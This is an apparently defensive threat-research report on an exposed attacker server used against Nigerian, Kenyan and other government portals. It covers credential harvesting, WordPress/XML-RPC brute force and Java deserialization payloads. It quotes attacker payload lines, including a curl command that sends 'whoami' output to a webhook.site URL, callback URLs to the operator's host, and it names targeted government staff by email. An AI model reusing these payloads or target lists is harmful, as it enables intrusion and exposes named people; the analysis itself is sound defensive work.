Skip to content
InfraHunter
All research
Threat ResearchTLP:CLEARTLP:CLEAR — Disclosure is not limited. This material may be shared publicly without restriction.

Nigerian and Kenyan Government Portals Targeted by Suspected Chinese-Speaking Operator in Multi-Stage Credential Harvesting Campaign

An exposed Google Cloud directory reveals credential searches, login testing, reconnaissance, session artifacts, and Java exploitation tooling targeting government infrastructure.

Published
Reading time
17 min
Analyst
@volrant136
Region
Nigeria / Kenya / Kyrgyzstan / Brazil / Argentina / Iraq
  • Cybersecurity
  • Exploitation
  • Open Directory
  • WordPress
  • XML-RPC
cover

On June 6, 2026, Hunt.io Attack Capture (opens in a new tab) identified an open directory at 34.146.124[.]239:8888, hosted on Google Cloud in Tokyo.

The server contained custom Python and shell scripts, compiled credential lists, WordPress and XML-RPC brute-force tools, browser session cookies from Nigerian and Kenyan government portals, and a collection of Java deserialization payloads built with ysoserial.

A secondary reconnaissance track scanned Iraqi, Argentine, Brazilian, and Kyrgyzstani government infrastructure using the same toolset.

Let’s take a look at what I uncovered during the investigation.

Key Findings

  • Hunt.io Attack Capture found an open directory containing a complete credential-harvesting workflow targeting Nigerian and Kenyan government institutions.

  • Comments in the source code mark the Nigerian targets as 最高价值 ("highest value").

  • 17 Python scripts were used to query DeHashed for leaked credentials tied to government domains and employees at FAAN, Kenya's Parliament, and NACADA. The scripts also used the Camoufox browser to prevent detection.

  • The compiled credentials were then used to brute-force WordPress login pages and /xmlrpc.php endpoints belonging to Nigeria's Ministry of Defence, State House, Ministry of Justice, FAAN, and Police Affairs.

  • Session cookies show that login attempts reached FAAN, NCDC, NDIC, NIMC, the Supreme Court, and JAMB's intranet.

  • The server also contained 25 Java deserialization payloads, covering C3P0, ROME, BeanShell, JRMP, URLDNS, Spring, and CommonsCollections, along with the full ysoserial.jar. A callback listener was running on port 8080 on the same host.

  • A leaked shell environment file shows the operator using the Hermes AI agent framework over Telegram. It also exposed a Linux username, an out-of-band interaction domain, and four Cloudflare Worker relay endpoints used to proxy API requests.

  • Additional reconnaissance and brute-force activity targeted government portals in Iraq, Argentina, Brazil, and Kyrgyzstan, using the same wordlists and scanning scripts.

The Open Directory

Hunt.io identified (opens in a new tab) an open directory on June 6, 2026, at 34.146.124[.]239:8888. The directory contained 422 files and was associated with a single subdirectory, with the captured data totaling approximately 268 MB.

Image
Figure 01: Hunt.io Attack Capture showing the open directory and host details for 34.146.124[.]239:8888

Hunt.io shows 34.146.124[.]239 (opens in a new tab) under Google LLC (AS396982), geolocated to Tokyo, Japan, with an open directory warning recorded on June 6, 2026. The host exposed SSH (22) running OpenSSH 10.0 and HTTP (443), with no active malware signals detected.

Image
Figure 02: Hunt.io host profile showing network details, open services, and the open directory warning for 34.146.124[.]239.

Let's explore interesting files one by one.

Breach Data Collection via DeHashed

The largest cluster of scripts in the directory automates queries against DeHashed (opens in a new tab), a paid breach-data search service, using the account 999@hho.us.kg.

All 17 scripts use Camoufox browser (an anti-fingerprinting Firefox fork built for evading bot detection), log in, submit a search query, and scrape the rendered results page with injected JavaScript.

Process
Figure 03: DeHashed automation workflow and script evolution.

The scripts identify personnel and organizations associated with Nigerian and Kenyan government-related infrastructure.

The table below consolidates every domain, subdomain, and named-individual email referenced across the 17 DeHashed automation scripts, showing which script(s) queried each target.

Domain / TargetCountryReferenced In
faan.gov.ngNigeriadh_search.py, dh_full_search.py, dh_more_faans.py, dh_sharepoint_search.py, dh_extract_pwds.py, dh_faan_leah.py, dh_deep_search.py, dh_verify.py, dh_verify2.py
statehouse.gov.ngNigeriadh_search.py, dh_full_search.py, dh_verify.py, dh_verify2.py
justice.gov.ngNigeriadh_search.py, dh_full_search.py, dh_deep_search.py, dh_verify.py, dh_verify2.py
defence.gov.ngNigeriadh_search.py, dh_full_search.py
nigeria.gov.ngNigeriadh_full_search.py
nipc.gov.ngNigeriadh_sharepoint_search.py
parliament.go.keKenyadh_full_search.py, dh_kenya.py, dh_sharepoint_search.py, dh_more_faans.py, dh_deep_search.py, dh_js_extract.py, dh_faan_leah.py, dh_screenshot.py
nacada.go.keKenyadh_full_search.py, dh_kenya.py, dh_more_faans.py, dh_extract_pwds.py, dh_deep_search.py
education.go.keKenyadh_kenya.py
judicial.go.keKenyadh_kenya.py
.go.ke (generic)Kenyadh_kenya.py
abdulhameed.ayotunde@faan.gov.ngNigeriadh_more_faans.py, dh_extract_pwds.py
solomon.agbaduta@faan.gov.ngNigeriadh_more_faans.py, dh_extract_pwds.py
oyeniyi.oyelami@faan.gov.ngNigeriadh_more_faans.py
raheemah.momoh@faan.gov.ngNigeriadh_sharepoint_search.py
daniel.aloma@faan.gov.ngNigeriadh_sharepoint_search.py
temple.amadi@faan.gov.ngNigeriadh_sharepoint_search.py
deborah.adegoke@faan.gov.ngNigeriadh_deep_search.py, dh_faan_leah.py
mwinginorth@parliament.go.keKenyadh_more_faans.py
keziah.muthama@parliament.go.keKenyadh_more_faans.py
lucy.makara@parliament.go.keKenyadh_sharepoint_search.py
andrew.nyairo@parliament.go.keKenyadh_sharepoint_search.py
leah.chemweno@parliament.go.keKenyadh_deep_search.py, dh_faan_leah.py
ericg@nacada.go.keKenyadh_more_faans.py, dh_extract_pwds.py
justicegovdh_deep_search.py, dh_verify.py, dh_verify2.py
statehousegovdh_deep_search.py, dh_verify.py, dh_verify2.py
fridaymatthew4@gmail.comdh_search.py, dh_full_search.py
ogpkenya@gmail.comdh_full_search.py

Note: The available evidence shows these entities were targeted in searches; it does not by itself establish that every listed organization or individual was compromised.

One Chinese comment (# Nigeria 最高价值, meaning “Nigeria — highest value.”) in dh_full_search.py highlights the operator's priorities for Nigerian government infrastructure.

Image
Figure 04: The dh_full_search.py script labels Nigeria as “highest value” and places Nigerian government domains at the top of its search list.

The directory contains 58 PNG screenshots generated during the DeHashed searches, but these files are not indexed in Attack Capture.

Their filenames, however, correspond to queries executed by the Python scripts and provide evidence of the searches performed.

Image
Figure 05: DeHashed search screenshots preserved by the attacker, with filenames linking individual captures to searches performed by the Python tooling.

The screenshots themselves cannot be examined through the indexed dataset, but the wordlists recovered from the same host provide a separate, searchable trail of credentials and usernames that were subsequently compiled from this activity.

Credential Compilation

The directory contains nine wordlist files, each tied to a specific target, country, or department.

  • The defence_pass.txt, defence_wordlist.txt, and defence_wordlist2.txt appear to be successive lists built around Nigeria’s Ministry of Defence.

    Image
    Figure 06: Sample from defence_wordlist.txt file showing Hunt.io AI brief
  • The pass.txt combines generic administrator passwords with Nigeria and FAAN-specific terms, while pass2.txt focuses on Kenya’s Parliament.

    Image
    Figure 07: Sample from pass2.txt file showing Hunt.io AI brief
  • The pass_police.txt targets Nigeria’s Police Affairs ministry, and toppass.txt brings together higher-confidence terms associated with Defence and FAAN.

  • The weak_passwords.txt is associated with Argentina’s Pilar municipality, while karakol_pwds.txt targets the municipal government of Karakol, Kyrgyzstan.

I summarized the recovered wordlists by their apparent target and entry count below.

FileTarget (Dept / Country)Entries
defence_pass.txtNigeria — Ministry of Defence7
defence_wordlist.txtNigeria — Ministry of Defence29
defence_wordlist2.txtNigeria — Ministry of Defence34
pass.txtNigeria — Cross-agency (FAAN, generic gov.)43
pass2.txtKenya — Parliament11
pass_police.txtNigeria — Ministry of Police Affairs8
toppass.txtNigeria — Cross-target (Defence + FAAN)23
weak_passwords.txtArgentina — Pilar municipal government14
karakol_pwds.txtKyrgyzstan — Karakol municipal government9

Note: Actual password values have been redacted from this table for safety.

Infrastructure Reconnaissance

The opendir contains several reconnaissance scripts covering government infrastructure in Nigeria, Argentina, Brazil, Iraq, and Kyrgyzstan. The artifacts range from domain and DNS checks to web server, CMS, login path, and vulnerability checks, with the level of detail varying by country.

Nigeria

The ng_quick_recon.py covers 198 federal, state, and local-government domains, including Lagos-area councils. The script checks DNS resolution, filters hosts identified as Cloudflare-fronted, records exposed server and technology headers, and checks common login paths.

Image
Figure 08: ng_quick_recon.py scans Nigerian government domains and highlights reachable hosts without Cloudflare protection, including their server technology and accessible login paths.

The scan found 68 reachable HTTP services (ng_recon.json).

Image
Figure 09: The ng_recon.json shows results of scanning.

The attacker then used ng_live_scan.sh which covers 44 Nigerian government domains and checks their HTTPS availability before testing common login paths.

Image
Figure 10: ng_live_scan.sh checks 44 Nigerian government portals for reachable login endpoints over HTTPS.

Argentina

The opendir contains four scripts that use 97 municipal and provincial government URLs, moving from basic reachability checks to CMS and WordPress identification.

ScriptScopeFindings
arg_scan.py97 Argentine municipal and provincial government URLsHTTP status, Server, and X-Powered-By headers
arg_detailed.pySame 97 targetsWordPress, Laravel, Drupal, and Joomla fingerprints; HTML generator tag; WordPress version
arg_detailed2.pySame 97 targetsPage titles, CMS fingerprints, and corrected two target URLs
plugin_check.pyPilar municipal siteContact Form 7 and Post-SMTP versions, REST endpoints, Popup Maker site-scripts, and checks for exposed mail credentials

The scan (unprotected_wp.txt) identified three unprotected WordPress hosts: avellaneda.gov.ar, pilar.gov.ar, and tresdefebrero.gov.ar.

Image
Figure 11: Three discovered URLs from unprotected_wp.txt file.

A WPScan run against Pilar's municipal site (pilar_users.txt) fingerprinted WordPress 6.3.8, found XML-RPC enabled, located an exposed debug log at /wp-content/debug.log, and enumerated three usernames via the public WP JSON API: bruser99, hmontefinale, municipiopilar.

Image
Figure 12: A view of the pilar_users.txt file recovered from the open directory.

No credentials or open REST endpoints were confirmed.

Brazil and Iraq

cf_login_scan.py targets six municipal government portals in Amazonas and Pará: amatura.am.gov.br, envira.am.gov.br, nhamunda.am.gov.br, tabatinga.am.gov.br, tefe.am.gov.br, and altamira.pa.gov.br. It uses Camoufox to check page content for login-related terms, identify forms and input fields, and test common paths such as /login, /admin, /wp-login.php, /painel, and /webmail.

Image
Figure 13: cf_login_scan.py targeting six Brazilian municipal government portals and checking for exposed login interfaces.

iraq_targets.txt lists more than 30 domains of Iraqi provincial and municipal governments. A connectivity pass (iraq_live.txt) confirmed nine as reachable, including Basra, Karbala, Ninawa, Babylon, and Baghdad's municipal portal.

The corresponding vulnerability scan output files, iraq_cves.txt and iraq_vulns.txt, are both empty.

WordPress and XML-RPC Brute Force

The opendir contains 10 scripts used to test WordPress, XML-RPC, webmail, cPanel, and other login pages.

FilePurpose
defence_bruteforce.shTested WordPress XML-RPC authentication on defence.gov.ng.
xmlrpc_test.shEnumerated WordPress usernames and then tested passwords through XML-RPC on several Nigerian government sites.
wp_auth_test.pyTested normal WordPress login pages using a browser and checked for a wp-admin redirect.
wp_brute.pyAutomated WordPress login attempts using username-based password patterns.
wp_brute2.pyA simplified version of wp_brute.py that relied mainly on the redirect URL to identify a possible login.
wp_faan_test.pyPerformed a small manual login test against a FAAN account.
wp_final_test.pyCombined WordPress and non-WordPress login testing across Nigerian and Kenyan targets.
verify_creds.pyTested generic login forms, including Kenya Parliament and FAAN webmail/SmartHRMS.
verify_systems.pyAutomatically identified login fields on different web applications, including cPanel and webmail.
verify_fixed.pyAnother generic login tester that treated a change away from the login page as a possible success.
cam_screenshot.pyReused saved cookies to open a site and capture a screenshot for post-login verification.

The results show a clear 403 authentication failure, confirming that the request reached the WordPress authentication layer but the credentials were rejected. The scan also identified a publicly accessible wp-config.php.bkp file and an outdated js_composer plugin.

Almost 30 cookie files were recovered, and their contents provide a better picture of activity. I have summarized the sessions and filenames for better understanding:

TargetFilesWhat They Show
faan.gov.ngc_faan.gov.ng.txt, faan_cookie.txt, faan_cookies.txt, faan_cookies2.txtFour login-flow initiations using llar_login_flow and the WordPress test cookie.
defence.gov.ngdc.txt, dc2.txt, dc_bad.txt, d_femi.txt, d_mod.txt, d_mod2.txt, cookie_defence.txt, test_femi.txt, test_mod.txtNine attempts with the same WordPress test cookie; no authenticated session.
statehouse.gov.ngc_statehouse.gov.ng.txt, t_statehouse.txtCookie-support testing; one attempt produced no cookie.
policeaffairs.gov.ngt_police.txt, cookie_policeaffairs.txtTwo attempts with the WordPress test cookie.
health.gov.ngtest_admin.txt, test_adminbackup.txt, test_ado-bako.txt, test_dikko-ict.txt, test_ibraheem-ict.txt, test_yusuf-wale.txtSix username-specific attempts with the same outcome.
ndic.gov.ngc_ndic.gov.ng.txt, test_esl.txt, test_faroukzy.txt, test_hauwa.txt, test_maryam.txt, test_nasir.txtSix attempts; the files contain WordPress test cookies rather than PHP sessions.
ncdc.gov.ngc_ncdc.gov.ng.txt, ncdc.txtTwo genuine PHP sessions were created.
intranet.jamb.gov.ngjamb_cookies.txtA genuine PHP session was created on the staff intranet.
gsin.gov.kggsin_cookies.txtA Laravel session containing XSRF-TOKEN and laravel_session.
nimc.gov.ngc_nimc.gov.ng.txt, nimc_test.txt, nimcadmin.txtThree attempts with no cookies created.
supremecourt.gov.ngc_supremecourt.gov.ng.txtNo session cookie created.
efcc.gov.ngcookie_efcc.txt, t_efcc.txt, nc_admin.txtNo cookies, consistent with the site not using WordPress.
immigration.gov.ngcookie_immigration.txt, t_immigration.txtNo session cookie created.
parliament.go.keparliament_cookie.txtNo session established.
nacada.go.kenacada_cookies.txt, nacada_cookies2.txt, nacada_nadmin.txt, nacada_nadmin2.txt, nacada_nadmin3.txt, nacada_test.txtSix attempts with no session established.

The surviving evidence is much stronger for login attempts and session creation than for confirmed account compromise.

Java Deserialization Tooling

The directory contains a full copy of ysoserial.jar (57 MB) alongside 25 pre-generated binary and hex-encoded deserialization payloads. Port 8080 on the same host was set up as a listener for these payloads.

  • The C3P0 JNDI gadget chain payload (c3p0_hex.txt), saved as hex text, decodes to reveal its callback target directly at hxxp://34.146.124[.]239:8080/Evil.

  • A JRMP (Java RMI) gadget chain (jrmp.bin) encodes the host as an RMI registry target, and two smaller JNDI reference payloads (p.bin, p2.bin) point to the classFactoryLocation: hxxp://34.146.124[.]239:8080/.

  • Three other gadget chains such as CommonsCollections BeanUtils (cb1.bin), Spring (spr1.bin), and one ROME variant (rome.bin) show the embedded URL hxxp://34.146.124[.]239:8080/cmd.

  • The rome_httpbin.bin embeds a command that actually runs on Linux curl http://httpbin.org/ip. httpbin.org is a public, well-known testing service that echoes back whatever IP address made the request.

  • The rome_webhook.bin uses webhook.site with the command curl -X POST hxxps://webhook[.]site/3614292c-4ae5-43a3-8136-55e729850a99/?cmd=$(whoami). The webhook.site generates a unique, private URL that anyone can check later for incoming requests.

  • A fifth ROME variant, rome_8888.bin, uses the same exec() structure but points at the operator's own open-directory port instead of the deserialization listener hxxp://34.146.124[.]239:8888/Exploit.

  • Two URLDNS gadget chains (urldns.bin, urldns_test.bin) carry a callback that ties them directly to the Argentine reconnaissance track hxxp://ushuaia-1780740753.34.146.124[.]239:8080/test.

Operator Profile and Assessment

A shell snapshot, hermes-snap-2c4bfd019aba.sh, was left in the exposed directory. It identifies the Linux account as wonghunghingp and shows the operation was controlled through a Telegram direct message linked to the user and chat ID 5613858439. It also records oob.bzd.us.kg for out-of-band exploitation checks, and three Cloudflare Worker relays for outbound requests. The session ID 20260606_093652_e9009a dates the capture to June 6, 2026, at 09:36 UTC, about an hour before the directory was first crawled.

Image
Figure 14: The Hermes file showing agent session to username wonghunghingp, captured 2026-06-06 09:36 UTC, about an hour before the directory's first external crawl.

Hermes is an AI-assisted browser agent framework. The configuration shows it running with up to 90 iterations per task and a 30-minute timeout per run, connected to a Telegram bot.

Four Cloudflare Worker relay URLs are configured to proxy outbound API calls, demonstrated directly in worker_test.sh.

  • hxxps://h2.org-aae[.]workers[.]dev/
  • hxxps://h1.net-1f3[.]workers[.]dev/
  • hxxps://sweet-pine-13fd[.]cto-7ba.workers[.]dev/
  • hxxps://blue-flower-b85b[.]blogerxgang[.]workers[.]dev/
Image
Figure 15: A view of four URLs used as proxies by the attacker.

Chinese-Language Evidence

The environment snapshot contains HERMES_SESSION_USER_NAME and HERMES_SESSION_CHAT_NAME, both set to 匿名域名 Usdt购买域名找我, meaning "anonymous domains, contact me to buy domains with USDT."

The open directory contains 30 Python and shell scripts with Chinese text used for planning notes and live console messages.

ScriptChinese TextMeaning
dh_full_search.py# Nigeria 最高价值"Nigeria — highest value"
dh_full_search.py# 通用"general purpose"
dh_full_search.py# 提取数据"extract data"
dh_sharepoint_search.py# 继续挖 FAAN 其他员工"continue digging into other FAAN employees"
dh_faan_leah.py# 专门查 deborah.adegoke@faan.gov.ng"specifically look up deborah.adegoke@faan.gov.ng"
wp_auth_test.py# 尝试从泄露邮箱构建的密码"try passwords built from the leaked email"
ng_quick_recon.py"""Nigeria.gov.ng 多目标快速侦察 - 找无CF保护 + 服务器信息""""Nigeria.gov.ng multi-target fast recon — find CF-unprotected + server info"
verify_systems.py# Nigeria 教育部 - Drupal (if it exists)"Nigeria Ministry of Education"
defence_bruteforce.shecho "✅ 成功! 用户:$user 密码:$pass""Success! User:$user Password:$pass"
defence_bruteforce.shecho "未命中,切换WP登录页爆破""No hit, switching to WP login page brute-force"
dh_verify.pyprint(f" ✅ WP 登录成功! URL: {page.url}")"WP login successful!"
dh_verify.pyprint(f" ❌ WP 失败, URL: {page.url}")"WP failed"
wp_brute.pyprint(f" *** 命中!***")"*** Hit! ***"
verify_creds.pyprint(f" ✅ 成功! → {final_url}")"Success!"
ng_quick_recon.pyprint(f"\n总目标: {len(results)} | 无CF: {len(no_cf)} | 存活: {len(reachable)}")"Total targets / No-CF / Alive"
worker_test.shecho "=== 代理 parliament.go.ke ===""=== Proxying parliament.go.ke ==="

The wording is informal and consistent across reconnaissance, credential testing, and proxy scripts. The evidence supports describing the operator as a Chinese speaker.

Mitigations

  • Disable XML-RPC (/xmlrpc.php) on WordPress installations that do not require it, or restrict it to trusted source IPs.

  • Restrict or authenticate the WordPress REST API's user-listing endpoint (/wp-json/wp/v2/users).

  • Enforce multi-factor authentication on WordPress, cPanel, Drupal, and webmail administrator accounts.

  • Patch and monitor Java applications for deserialization exposure where C3P0, ROME, or Apache Commons Collections libraries are present on the classpath.

Conclusion

The exposed directory provides a detailed view of an operation focused on government infrastructure across multiple countries. The recovered tooling shows a workflow that moved from breach-data searches and target profiling to credential testing, reconnaissance, and exploitation attempts. Nigerian and Kenyan government organizations received the most attention, while separate tooling targeted infrastructure in Argentina, Brazil, Iraq, and Kyrgyzstan.

The presence of session artifacts indicates that login activity reached several government portals, although the available evidence does not confirm widespread account compromise. The Java deserialization payloads and callback infrastructure also show capability beyond simple credential attacks.

Chinese-language comments and console output provide useful operator context, but they are insufficient for attributing to a specific actor or group.

MITRE ATT&CK Mapping

Technique IDNameEvidence
T1589.002Gather Victim Identity Information: Email AddressesDeHashed queries against named FAAN and Kenya Parliament staff by email address
T1596.001Search Open Technical Databases: DNS/Passive DNSng_quick_recon.py resolving and Cloudflare-fingerprinting 198 Nigerian government domains
T1589.001Gather Victim Identity Information: CredentialsBreach-derived credentials retrieved via DeHashed and compiled into per-target wordlists
T1583.006Acquire Infrastructure: Web ServicesCloudflare Worker relay endpoints used to proxy DeHashed API queries
T1587.001Develop Capabilities: MalwareCustom Python/shell automation for DeHashed scraping, XML-RPC brute-forcing, and cookie capture
T1595.002Active Scanning: Vulnerability ScanningWPScan and Nuclei runs against Argentine and Brazilian municipal WordPress sites
T1110.001Brute Force: Password GuessingXML-RPC and WordPress login-page brute-force against Defence, State House, Justice, FAAN, and Police Affairs using compiled wordlists
T1552.001Unsecured Credentials: Credentials In FilesPlaintext credential pairs stored directly in dh_verify.py, wp_final_test.py, and verify_creds.py
T1550.004Use Alternate Authentication Material: Web Session CookieSession cookies captured across FAAN, NCDC, NDIC, NIMC, Supreme Court, JAMB, and GSIN (Kyrgyzstan)
T1588.005Obtain Capabilities: Exploitsysoserial.jar and 25 pre-built Java deserialization gadget chain payloads
T1071.001Application Layer Protocol: Web ProtocolsHTTP callback listener on port 8080 for deserialization payload confirmation

Indicators of Compromise

Network infrastructure

IndicatorASNProviderCountryContext
34.146.124[.]239:8888AS396982Google LLCJapanOpen directory captured June 6, 2026
34.146.124[.]239:8080AS396982Google LLCJapanJava deserialization callback listener
oob.bzd.us[.]kgINTERACTSH out-of-band interaction domain
hho.us[.]kgDomain associated with the DeHashed operator account
h2.org-aae[.]workers.devCloudflareAPI relay endpoint
h1.net-1f3[.]workers.devCloudflareAPI relay endpoint
sweet-pine-13fd.cto-7ba[.]workers.devCloudflareAPI relay endpoint
blue-flower-b85b[.]blogerxgang[.]workers[.]devCloudflareAPI relay endpoint

Operator identifiers

IndicatorTypeContext
999@hho.us.kgEmailDeHashed account used across all breach-data automation
wonghunghingpUsernameLinux username on the GCP instance
5613858439Telegram IDSession controlling the Hermes agent
20260606_093652_e9009aSession IDTimestamps the operator's session to 2026-06-06 09:36 UTC

Share

X(opens in a new tab)

Published by @volrant136